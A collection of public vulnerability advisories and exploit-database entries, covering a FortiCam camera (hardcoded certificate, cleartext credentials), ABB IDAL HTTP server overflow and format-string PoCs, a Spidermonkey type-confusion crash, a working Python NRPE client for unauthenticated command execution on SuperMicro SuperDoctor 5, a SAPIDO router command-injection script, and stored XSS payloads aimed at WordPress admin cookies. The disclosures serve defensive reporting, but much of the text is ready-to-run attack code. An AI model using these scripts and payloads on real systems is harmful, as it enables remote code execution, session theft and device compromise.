                    28:65:1e:9f:6a:ab:73:c4:ca:1c:21:79:67:bf:15:
                    d2:09:6a:1c:91:09:4b:73:5c:5e:d2:6d:e3:e4:e3:
                    17:92:f5:48:ef:e7:b1:4a:45:d4:59:44:88:61:11:
                    7c:81:64:82:ae:2f:41:75:91:e8:2e:83:83:22:a2:
                    83:3a:3b:aa:44:92:47:6c:50:65:33:95:db:d4:57:
                    54:ab:e6:78:3c:12:8b:cc:45:56:fb:ef:54:d1:47:
                    c0:20:bb:55:78:22:e6:f7:3f:88:83:e9:48:98:0e:
                    12:6c:6b:52:9b:4b:10:aa:78:93:1d:9c:4a:a1:61:
                    8c:00:67:b1:79:66:ad:da:a7:37:90:87:00:8d:fa:
                    11:6a:91:f0:85:be:98:a6:01:e2:1b:38:ac:83:b5:
                    82:5c:28:cb:8c:d9:43:e1:6b:30:7c:84:cb:0a:14:
                    fd:0f:cd:02:68:4f:c7:4a:e6:52:0a:77:0e:bb:84:
                    5f:bd
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
    Signature Algorithm: sha1WithRSAEncryption
        d2:ef:47:0c:ba:dc:15:17:80:10:6a:49:88:b0:3d:48:82:cf:
        fb:05:d7:7e:48:9b:c7:1f:83:fe:87:2f:b4:86:ca:bb:73:d0:
        82:6d:7f:68:29:0e:54:00:c2:23:3d:8d:b3:d9:7d:69:1d:82:
        21:31:a8:76:f0:f3:67:99:3a:26:78:8e:39:a6:37:ef:c1:9e:
        dd:13:67:e2:08:04:d5:25:17:13:8f:84:59:c0:57:9c:b4:2b:
        be:17:31:16:e4:d3:28:db:0e:c8:0a:20:75:49:08:3b:10:98:
        28:27:cb:0f:67:5a:ad:bc:71:14:33:29:89:74:35:f1:53:4a:
        be:0b:8b:d3:6e:0f:26:26:84:5d:dc:64:ce:0c:3a:fc:77:91:
        ea:dd:d4:1b:af:e9:fc:f8:1c:a5:28:38:82:2e:d2:69:56:6c:
        04:95:8a:34:10:8b:46:26:67:e8:2c:0f:e7:10:6d:11:1f:d2:
        b5:9d:7c:22:ba:91:93:b6:23:97:8e:b0:a6:b8:b5:43:ee:64:
        64:c1:f9:08:a7:de:e3:48:8e:a1:46:6a:b6:46:bd:8f:ab:06:
        67:a9:d0:84:69:18:e9:a7:24:ca:54:b6:cf:67:58:c8:23:2e:
        f4:7e:9b:89:d6:74:69:26:4a:5f:cc:74:6e:dc:34:3d:65:ef:
        08:05:4f:43
-----BEGIN CERTIFICATE-----
MIIDuzCCAqOgAwIBAgIDAhzjMA0GCSqGSIb3DQEBBQUAMIGgMQswCQYDVQQGEwJV
UzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREwDwYD
VQQKEwhGb3J0aW5ldDEeMBwGA1UECxMVQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRAw
DgYDVQQDEwdzdXBwb3J0MSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRpbmV0
LmNvbTAeFw0xMjA4MTQxNTE4NDlaFw0zODAxMTkwMzE0MDdaMIGPMQswCQYDVQQG
EwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREw
DwYDVQQKEwhGb3J0aW5ldDERMA8GA1UECxMIRm9ydGlDYW0xMTAvBgNVBAMUKGNh
bWVyYS9lbWFpbEFkZHJlc3M9c3VwcG9ydEBmb3J0aW5ldC5jb20wggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDB2xVIWKmvBBMYjeYUU2lITT6xJe8v+bQC
LTFuk4pv+0kdB5F1GmoQIfUApGcnIFNGNGsOketdXXI5eD2BlyJcSNYH1ash7iRZ
CChlHp9qq3PEyhwheWe/FdIJahyRCUtzXF7SbePk4xeS9Ujv57FKRdRZRIhhEXyB
ZIKuL0F1kegug4MiooM6O6pEkkdsUGUzldvUV1Sr5ng8EovMRVb771TRR8Agu1V4
Iub3P4iD6UiYDhJsa1KbSxCqeJMdnEqhYYwAZ7F5Zq3apzeQhwCN+hFqkfCFvpim
AeIbOKyDtYJcKMuM2UPhazB8hMsKFP0PzQJoT8dK5lIKdw67hF+9AgMBAAGjDTAL
MAkGA1UdEwQCMAAwDQYJKoZIhvcNAQEFBQADggEBANLvRwy63BUXgBBqSYiwPUiC
z/sF135Im8cfg/6HL7SGyrtz0IJtf2gpDlQAwiM9jbPZfWkdgiExqHbw82eZOiZ4
jjmmN+/Bnt0TZ+IIBNUlFxOPhFnAV5y0K74XMRbk0yjbDsgKIHVJCDsQmCgnyw9n
Wq28cRQzKYl0NfFTSr4Li9NuDyYmhF3cZM4MOvx3kerd1Buv6fz4HKUoOIIu0mlW
bASVijQQi0YmZ+gsD+cQbREf0rWdfCK6kZO2I5eOsKa4tUPuZGTB+Qin3uNIjqFG
arZGvY+rBmep0IRpGOmnJMpUts9nWMgjLvR+m4nWdGkmSl/MdG7cND1l7wgFT0M=
-----END CERTIFICATE-----
```

Using the above certificate, and the corresponding private key, anybody
who gains access to the SSL traffic from an FCM-MB40 is able to decrypt
it, which can expose the admin credentials, even if the camera is joined
to and managed by FortiRecorder.

### Recommended Remediations

 * Upon first boot with a fresh firmware image, the camera should
   generate a unique SSL certificate which is not shared between
   customers and devices.

### Fix Information

Dynacolor and Fortinet have yet to provide a fix.

---

## 4 - CVE-TBA - FCM-MB40 Cleartext Storage of Credentials

### Summary

Forticam FCM-MB40 Cleartext Storage of Credentials

    Product: FCM-MB40
    Version: v1.2.0.0
    Vendor: Fortinet
    CVE-ID: CVE-TBA
    CWE-256: Unprotected Storage of Credentials

The FortiCam FCM-MB40 stores the username and password configured for
the administrative web interface in cleartext on it's filesystem.

### Details

The login credentials for any user allowed to log into the web interface
are accessible in the file `/etc/appWeb/appweb.pass`.

These credentials are also accessible from the following URL on the
camera's web administration interface:
`/cgi-bin/getuserinfo.cgi?mode=info`.

If a user gains read-only access to the device's filesystem, or web
administration interface, they are able to acquire the credentials used
to administer the device.

Due to this issue, a user with filesystem access is also able to read
the password which FortiRecorder sets on a FortiCam FCM-MB40.

If FortiRecorder uses the same password for all FortiCams when they join
the FortiRecorder, this issue would allow a user with access to one
camera to gain access to every camera "owned" by the FortiRecorder.

### Recommended Remediations

 * User credentials should be stored in a strong hash format which is
   suitable for password storage, instead of cleartext. `bcrypt` can be
   configured as a suitably strong functionz

### Fix Information

Dynacolor and Fortinet have yet to provide a fix.

---

## 5 - CVE-TBA - FCM-MB40 Insufficient Factory Reset

### Summary

Forticam FCM-MB40 Insufficient Factory Reset Procedure

    Product: FCM-MB40
    Version: v1.2.0.0
    Vendor: Fortinet
    CVE-ID: CVE-TBA
    CWE-665: Improper Initialisation

The FortiCam FCM-MB40's factory reset functionality, initiated through
pressing the physical factory reset button, or initiated through
software, does not reset all aspects of the system to the factory state.

An adversary with temporary access to the device could implant a
backdoor account or service which would not be removed when undertaking
a factory reset.

### Details

If low level access is gained to a FortiCam MB40, and filesystem
modifications are made, these are not reverted when the device owner
executes the factory reset function.

The factory reset function is implemented in `/usr/sbin/default.sh` and
`/usr/apache/htdocs/cgi-bin/admin/hardfactorydefault.cgi`.

Both of these scripts reset some configuration parameters.

Combined with the previously disclosed vulnerability (#1)
regarding remote command execution, any user which is able to gain
access to the camera is able to implant a backdoor executable on the
camera which will execute whenever the camera starts, giving the
attacker persistent root access to the camera. 

For example: 

 * a user could sell the camera on to a second owner;
 * the camera could be tampered with in transit to its final
   destination.

After executing the factory reset function, a backdoor previously
installed, such as a malicious cron entry or changed root password, is
not removed. 

The only way that a user which doesn't trust their supply chain is able
to restore the device to factory defaults is to perform a firmware
upgrade, however in order to perform a firmware upgrade the user must
first connect the untrusted device to their network.

### Recommended Remediations

 * The factory reset function should re-flash the firmware on the
   camera, and this process should be cryptographically verified to
   ensure that the firmware which is being reflashed has not been
   tampered with.

### Fix Information

Dynacolor and Fortinet have yet to provide a fix.

## General Recommendations For Users

If you are using the FortiCam FCM-MB40 devices, consider the below tips
in order harden your device, and protect your network.

 * Set a strong, **unique** password for the administrative user.
    * Do not use a password which you use for other systems on this
      device.
 * Keep these devices in a segregated environment with firewall rules
   preventing it from communicating with the Internet, or other networks
   in your environment, and preventing other devices on your network
   from communicating with it.
 * Generate SSL/TLS certificates from your internal CA infrastructure,
   or generate a new self-signed certificate on the device, replacing
   the built-in, hardcoded certificate.
 * Whenever attempting to perform a factory reset, realise that the
   factory reset functionality does not reset the device to factory
   defaults. In order to completely restore the device to defaults,
   perform a firmware upgrade.

## Timeline

2019-03-08
 * Reached out to Fortinet contacts asking who to contact for
   disclosure.  Provided contact information and PGP information.

2019-03-09
 * Provided full vulnerability information to provided contact.
 * Provided full vulnerability information about vulnerability two to
   provided contact.
 * Preferred date of disclosure, 2019-05-10, provided to contact.

2019-03-18
 * Reached out to contact asking whether they have received
   communications. Realised that contact was not able to decrypt my
   messages.
 * Sent the same vulnerability information to psirt@fortinet.com
   including revised disclosure date of 2019-05-17.

2019-03-20
 * Received response from Fortinet PSIRT, stating that the upstream
   vendor has been notified, and that because the development is done by
   a 3rd party, Fortinet is unsure whether a 60 day disclosure date will
   be met.

2019-03-21
 * Provided full vulnerability information about vulnerabilities three,
   four and five to Fortinet PSIRT. Noted that preferred disclosure date
   for these vulnerabilities is 2019-05-20.
 * Received acknowledgement from Fortinet PSIRT.

2019-04-10
 * Requested an update on progress.

2019-04-12
 * Fortinet PSIRT state that no update has been provided from upstream
   vendor.

2019-04-27
 * Fortinet PSIRT provides email addresses for upstream vendor,
   Dynacolor.
 * Reached out to Dynacolor, asking for PGP/secure communications
   method.

2019-05-09
 * Reminded Fortinet that vulnerabilities one and two are planned to be
   disclosed on 2019-05-17.

2019-05-13
 * Fortinet PSIRT mention that Dynacolor have acknowledged the
   vulnerabilities.

2019-05-15
 * Fortinet PSIRT state that they are not sure whether Dynacolor are
   able to issues a patch before 2019-05-17. Fortinet suggest a 90-day
   disclosure deadline in this case.

2019-05-16
 * Respond to PSIRT with updated disclosure dates 2019-06-16 and
   2019-06-19, also letting them know that I have yet to receive a
   response from Dynacolor.
 * Reach out to Dynacolor again, stating that I have not yet received a
   response, and that there are product vulnerabilities which will be
   disclosed on 2019-06-16, following the disclosure period previously
   discussed with Fortinet. I also repeat my request to set up an
   encrypted channel.

2019-05-17
 * Dynacolor respond, stating that they do not have a PGP key, and ask
   whether there is another way we could communicate.
 * Respond stating I am happy to communicate using Keybase (account
   provided), or any other secure method they can use. Alternatively I
   state that we can communicate using plaintext email if required.

2019-06-19
 * This post is published.

## Closure

Thanks to Fortinet for their timely and friendly co-operation, and to my
employer, RIoT Solutions[5], for allowing me to perform this research as
part of my work.

[1]: https://www.fortinet.com/content/dam/fortinet/assets/data-sheets/FortiCamera.pdf
[2]: https://www.dynacolor.com.tw/
[3]: https://www.dynacolor.com.tw/portfolio-item/h/
[4]: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
[5]: https://www.riotsolutions.com.au/

-- 
XORcat
PGP Key: 0xA528A62C
https://keybase.io/xorcat

XL-19-011 - ABB IDAL HTTP Server Stack-Based Buffer Overflow Vulnerability
========================================================================

Identifiers
-----------
XL-19-011
CVE-2019-7232
ABBVU-IAMF-1902009


CVSS Score
----------
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


Affected vendor
---------------
ABB (new.abb.com)


Credit
------
Eldar Marcussen - xen1thLabs - Software Labs


Vulnerability summary
---------------------
The IDAL HTTP server is vulnerable to a stack-based buffer overflow when receiving a large host header in a HTTP request. The host header value overflows a buffer and overwrites the Structured Exception Handler (SEH) address with a larger buffer.


Technical details
-----------------
An unauthenticated attacker can send a Host header value of 2047 bytes or more to overflow the host headers and overwrite the SEH address which can then be leveraged to execute attacker controlled code on the server.

Proof of concept
----------------
```
perl -e 'print "GET / HTTP/1.1\r\nHost: " . "A" x 2047 . "\r\n\r\n";' | nc targetip 81
````

    STATUS_STACK_BUFFER_OVERRUN encountered
    (1734.510): Break instruction exception - code 80000003 (first chance)
    eax=00000000 ebx=1032cc34 ecx=762dd018 edx=05b8e4c9 esi=00000000 edi=05b8eec3
    eip=762dce95 esp=05b8e710 ebp=05b8e78c iopl=0 nv up ei pl zr na pe nc
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
    kernel32!SetThreadExecutionState+0x134b0:
    762dce95 cc int 3
    0:032> !exchain
    05b8e77c: kernel32!RegSaveKeyExW+3b9 (76309332)
    Invalid exception stack at 41414141


Affected systems
----------------
PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ... 2.8.0.367


Solution
--------
Apply the patches and instructions from vendor:
  - ABB PB610 - https://search.abb.com/library/Download.aspx?DocumentID=3ADR010377&LanguageCode=en&DocumentPartId=&Action=Launch


Disclosure timeline
-------------------
04/02/2019 - Contacted ABB requesting disclosure coordination
05/02/2019 - Provided vulnerability details
05/06/2019 - Patch available
17/06/2019 - xen1thLabs public disclosure

XL-19-012 - ABB IDAL HTTP Server Uncontrolled Format String Vulnerability
========================================================================

Identifiers
-----------
XL-19-012
CVE-2019-7228
ABBVU-IAMF-1902007


CVSS Score
----------
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


Affected vendor
---------------
ABB (new.abb.com)


Credit
------
Eldar Marcussen - xen1thLabs - Software Labs


Vulnerability summary
---------------------
The IDAL HTTP server is vulnerable to memory corruption through insecure use of user supplied format strings. An attacker can abuse this functionality to bypass authentication or execute code on the server.


Technical details
-----------------
The IDAL HTTP server does not safely handle username or cookie strings during the authentication process. Attempting to authenticate with the username "%25s%25p%25x%25n" will crash the server. Sending "%08x.AAAA.%08x.%08x" will log memory content from the stack.


Proof of concept
----------------
```
curl -d 'username=%2508x.AAAA.%2508x.%2508x&password=xen1thLabs' http://targetip:81/cgi/login
````

    UserManagementModule::LoginCGIUser failed. User:"72657355.AAAA.616e614d.656d6567" not present in UserFactory


Affected systems
----------------
PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ... 2.8.0.367


Solution
--------
Apply the patches and instructions from vendor:
  - ABB PB610 - https://search.abb.com/library/Download.aspx?DocumentID=3ADR010377&LanguageCode=en&DocumentPartId=&Action=Launch


Disclosure timeline
-------------------
04/02/2019 - Contacted ABB requesting disclosure coordination
05/02/2019 - Provided vulnerability details
05/06/2019 - Patch available
17/06/2019 - xen1thLabs public disclosure

Spidermonkey: IonMonkey incorrectly predicts return type of Array.prototype.pop, leading to type confusions 

Related CVE Numbers: CVE-2019-11707Fixed-2019-Jun-18.


The following program (found through fuzzing and manually modified) crashes Spidermonkey built from the current beta channel and Firefox 66.0.3 (current stable):

    // Run with --no-threads for increased reliability
    const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
    function v7(v8,v9) {
        if (v4.length == 0) {
            v4[3] = {a: 5};
        }

        // pop the last value. IonMonkey will, based on inferred types, conclude that the result
        // will always be an object, which is untrue when  p[0] is fetched here.
        const v11 = v4.pop();

        // Then if will crash here when dereferencing a controlled double value as pointer.
        v11.a;

        // Force JIT compilation.
        for (let v15 = 0; v15 < 10000; v15++) {}
    }

    var p = {};
    p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
    p[0] = -1.8629373288622089e-06;
    v4.__proto__ = p;

    for (let v31 = 0; v31 < 1000; v31++) {
        v7();
    }

When run, it produces a crash similar to the following:

    * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
        frame #0: 0x000025a3b99b26cb
    ->  0x25a3b99b26cb: cmp    qword ptr [rax], r11
        0x25a3b99b26ce: jne    0x25a3b99b26dd
        0x25a3b99b26d4: cmovne rax, rcx
        0x25a3b99b26d8: jmp    0x25a3b99b26f4
    Target 0: (js) stopped.
    (lldb) reg read rax
         rax = 0x4141414141414141

I haven't thoroughly analyzed bug, but here is roughly what appears to be happening:

* when v4 is created, it will have inferred types for its elements, indicating that they will be JSObjects (this can be seen by running the spidermonkey shell with `INFERFLAGS=full` in the environment)
* in the block following the function definition, v4's prototype is changed to a new object with a double as element 0. This does not change the inferred element types of v4, presumably because these only track own properties/elements and not from prototypes
* v7 is executed a few times and all original elements from v4 are popped
* the element assignment (`v4[3] = ...`) changes the length of the array (to 4) without changing the inferred element types

Afterwards, v7 is (re-)compiled by IonMonkey:
* the call to v4.pop() is inlined by IonMonkey and converted to an MArrayPopShift instruction [1]
* since the inferred element types (JSObjects) match the observed types, no type barrier is emitted [2, 3]
* IonMonkey now assumes that the result of v4.pop() will be an object, thus omits type checks and directly proceed with the property load
* Later, when generating machine code for v4.pop [4], IonMonkey generates a call to the runtime function ArrayPopDense [5]

At execution time of the JITed code, when v4.length is back at 1 (and so the only element left to pop is element 0), the following happens:
* The runtime call to ArrayPopDense is taken
* this calls js::array_pop which in turn proceeds to load p[0] as v4 doesn't have a property with name '0'
* the array pop operation thus returns a double value

However, the JITed code still assumes that it received a JSObject* from the array pop operation and goes on to dereference the value, leading to a crash at an attacker controlled address. It is likely possible to exploit this bug further as type inference issues are generally well exploitable.

To summarize, the problem seems to be that the code handling Array.pop in IonMonkey doesn't take into account that Array.prototype.pop can load an element from the prototype, which could conflict with the array's inferred element types.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.


[1] https://github.com/mozilla/gecko-dev/blob/83bea62461d1e30aebef5077462fafb256368e9e/js/src/jit/MCallOptimize.cpp#L885
[2] https://github.com/mozilla/gecko-dev/blob/83bea62461d1e30aebef5077462fafb256368e9e/js/src/jit/MCallOptimize.cpp#L945
[3] https://github.com/mozilla/gecko-dev/blob/83bea62461d1e30aebef5077462fafb256368e9e/js/src/jit/MIR.cpp#L5836
[4] https://github.com/mozilla/gecko-dev/blob/83bea62461d1e30aebef5077462fafb256368e9e/js/src/jit/CodeGenerator.cpp#L9891
[5] https://github.com/mozilla/gecko-dev/blob/83bea62461d1e30aebef5077462fafb256368e9e/js/src/jit/VMFunctions.cpp#L430


Found by: saelo@google.com

# SuperMicro implemented a Remote Command Execution plugin in their implementation of 
# NRPE in SuperDocter 5, which is their monitoring utility for SuperMicro chassis'.
# This is an intended feature but leaves the system open (by default) to unauthenticated
# remote command execution by abusing the 'executable' plugin with an NRPE client.
# 
# For your pleasure, here is a PoC Python NRPE Client that will connect, execute the 
# cmd of choice and return its output.
#
# To mitigate this vulnerbility, edit your agent.cfg to specificy which IPs are allowed 
# to execute NRPE commands agaist the system and/or block traffic on port 5666.
#
# NRPE cannot be disabled in this software, see Guide section 3.2


#Author: Simon Gurney 
#Date: 23/05/2019
#Vendor: SuperMicro
#Product: SuperMicro Super Doctor 5
#Version: 5
#Guide: ftp://supermicro.com/ISO_Extracted/CDR-C9_V1.00_for_Intel_C9_platform/SuperDoctor_V/Linux/SuperDoctor5_UserGuide.pdf



### Configurables

command = "ping 1.1.1.1 -n 1"
target = "1.2.3.4"
target_port = 5666

### Don't need to change anything below

import binascii
import struct
import socket
import ssl

#### Struct Encoding Types
StructCodeInt16 = "!h" ## Unsigned Int16
StructCodeInt32 = "!L" ## Unsigned Int32

#### NRPE Specific definitions
NRPE_Version = ("","One", "Two", "Three")
NRPE_Packet_Type = ("", "Query", "Response")
NRPE_Response = ("Ok", "Warning", "Critical", "Unknown")
NRPE_Version_1 = 1
NRPE_Version_2 = 2
NRPE_Version_3 = 3
NRPE_Packet_Type_Query = 1
NRPE_Packet_Type_Response = 2
NRPE_Response_Ok = 0
NRPE_Response_Warning = 1
NRPE_Response_Critical = 2
NRPE_Response_Unknown = 3
NRPE_Response_Type_Query = 3

#### RandomDefintions
NullByte = b"\x00"
TwoCharSuffix = "SG"

class NRPEpacket:
  port = 5666
  server = "127.0.0.1"
  nrpeVersion = NRPE_Version_2
  nrpePacketType = NRPE_Packet_Type_Query
  nrpeResponseCode = NRPE_Response_Type_Query
  ownSocket = None
  def CalculateCRC(self):
    tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)
    tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)
    tempBuffer += NullByte * 4
    tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)
    tempBuffer += self.content
    return (struct.pack(StructCodeInt32, binascii.crc32(tempBuffer) & 0xffffffff))
  def PadTo1024Bytes(self,command):
    if len(command) <= 1024:
      tempBuffer = command
    else:
      Error("Command string is too long!")
    while len(tempBuffer) < 1024:
      tempBuffer += "\x00"
    tempBuffer += TwoCharSuffix
    return tempBuffer.encode()
  def Connect(self):
    self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.socket.connect((self.server,self.port))
  def WrapSSL(self):
    self.socket = ssl.wrap_socket(self.socket,cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23, ciphers="ALL")
  def Send(self):
    tempBuffer = struct.pack(StructCodeInt16,self.nrpeVersion)
    tempBuffer += struct.pack(StructCodeInt16,self.nrpePacketType)
    tempBuffer += self.crc
    tempBuffer += struct.pack(StructCodeInt16,self.nrpeResponseCode)
    tempBuffer += self.content
    self.socket.send(tempBuffer)
  def Recv(self):
    tempBuffer = self.socket.recv(2048)
    self.nrpeVersion = struct.unpack(StructCodeInt16,tempBuffer[0:2])[0]
    self.nrpePacketType = struct.unpack(StructCodeInt16,tempBuffer[2:4])[0]
    self.crc = tempBuffer[4:8]
    self.nrpeResponseCode = struct.unpack(StructCodeInt16,tempBuffer[8:10])[0]
    self.content = tempBuffer[10:]
    if self.crc != self.CalculateCRC():
      print ("CRC does not match!")
  def PrintOut(self):
    print(" -=-=-=-= Begin NRPE Content =-=-=-=-")
    print("| NRPE Version       =  %i  -  %s" % (self.nrpeVersion,NRPE_Version[self.nrpeVersion]))
    print("| NRPE Packet Type   =  %i  -  %s" % (self.nrpePacketType,NRPE_Packet_Type[self.nrpePacketType]))
    print("| NRPE Packet CRC    =  %i" % struct.unpack(StructCodeInt32,self.crc)[0])
    print("| NRPE Response Code =  %i  -  %s" % (self.nrpeResponseCode,NRPE_Response[self.nrpeResponseCode]))
    print("| Packet Content:")
    print("| %s" % self.content.decode().strip(TwoCharSuffix).strip("\x00"))
    print(" -=-=-=-= End NRPE Content =-=-=-=-")
  def Close(self):
    if not self.ownSocket:
      self.socket.close()
  def AutoSend(self):
    print("Sending...")
    self.PrintOut()
    self.Send()
    print("Receiving...")
    self.Recv()
    self.PrintOut()
    self.Close()
  def __init__(self, command, socket=None, server=None, port = None, ssl=True):
    self.content = self.PadTo1024Bytes(command)
    self.crc = self.CalculateCRC()
    if server:
      self.server = server
    if port:
      self.port = port
    if not socket:
      self.Connect()
    else:
      self.socket = socket
      self.ownSocket = True
    if ssl == True:
      self.WrapSSL()


#NRPE CMD format is "executable!<binary>!<arguments> i.e."
#NRPEpacket("executable!ping!1.1.1.1 -n 1", server="1.2.3.4").AutoSend()

split = command.split("",1)
cmd = "executable!" + split[0] + "!" + split[1]
NRPEpacket(cmd, server=target, port=target_port).AutoSend()

# Exploit Title: SAPIDO RB-1732 command line execution
# Date: 2019-6-24
# Exploit Author: k1nm3n.aotoi
# Vendor Homepage: http://www.sapido.com.tw/
# Software Link: http://www.sapido.com.tw/CH/data/Download/firmware/rb1732/tc/RB-1732_TC_v2.0.43.bin
# Version: RB-1732 V2.0.43 
# Tested on: linux


import requests
import sys

def test_httpcommand(ip, command):
   my_data = {'sysCmd': command, 'apply': 'Apply', 'submit-url':'/syscmd.asp', 'msg':''}
   r = requests.post('http://%s/goform/formSysCmd' % ip, data = my_data)
   content = r.text
   content = content[
     content.find('<textarea rows="15" name="msg" cols="80" wrap="virtual">')+56:
     content.rfind('</textarea>')]
   return content

print test_httpcommand(sys.argv[1], "".join(sys.argv[2:]))

# Exploit Title: iLive - Intelligent WordPress Live Chat Support Plugin v1.0.4 Stored XSS Injection
# Google Dork: -
# Date: 2019/06/25
# Exploit Author: m0ze
# Vendor Homepage: http://www.ilive.wpapplab.com/
# Software Link: https://codecanyon.net/item/ilive-wordpress-live-chat-support-plugin/20496563 http://www.ilive.wpapplab.com/
# Version: 1.0.4
# Tested on: Windows 10 / Parrot OS
# CVE : -

Info:

Weak security measures like bad textarea data filtering has been
discovered in the «iLive - Intelligent WordPress Live Chat Support
Plugin». Current version of this premium WordPress plugin is 1.0.4.



PoC:
Go to the demo website http://www.site.com/ and open chat window by clicking on «Chat» icon on the bottom right corner. 
Use your payload inside input field and press [Enter]. 
Provided exaple payloads working on the admin area, so it's possible to steal admin cookies or force a redirect to any other website.
To check your XSS Injections log in http://www.site.com/wp-admin/ and go to this page http://www.site.com/wp-admin/admin.php?page=ilive-chat-page then select your chat alias from the list. Keep in mind that there is 3 demo operators, so you must log in as operator assigned to your chat (operator number will be available after you send the first message in chat).

Example #1: <img src=https://i.imgur.com/zRm8R9z.gif onload=alert(`m0ze`);>
Example #2: <img src=https://i.imgur.com/zRm8R9z.gif
onload=alert(document.cookie);>
Example #3: <img src=x onerror=window.location.replace('https://m0ze.ru/');>
Example #4: <!--<img src="--><img src=x onerror=(alert)(`m0ze`)//">
Example #5: <!--<img src="--><img src=x onerror=(alert)(document.cookie)//">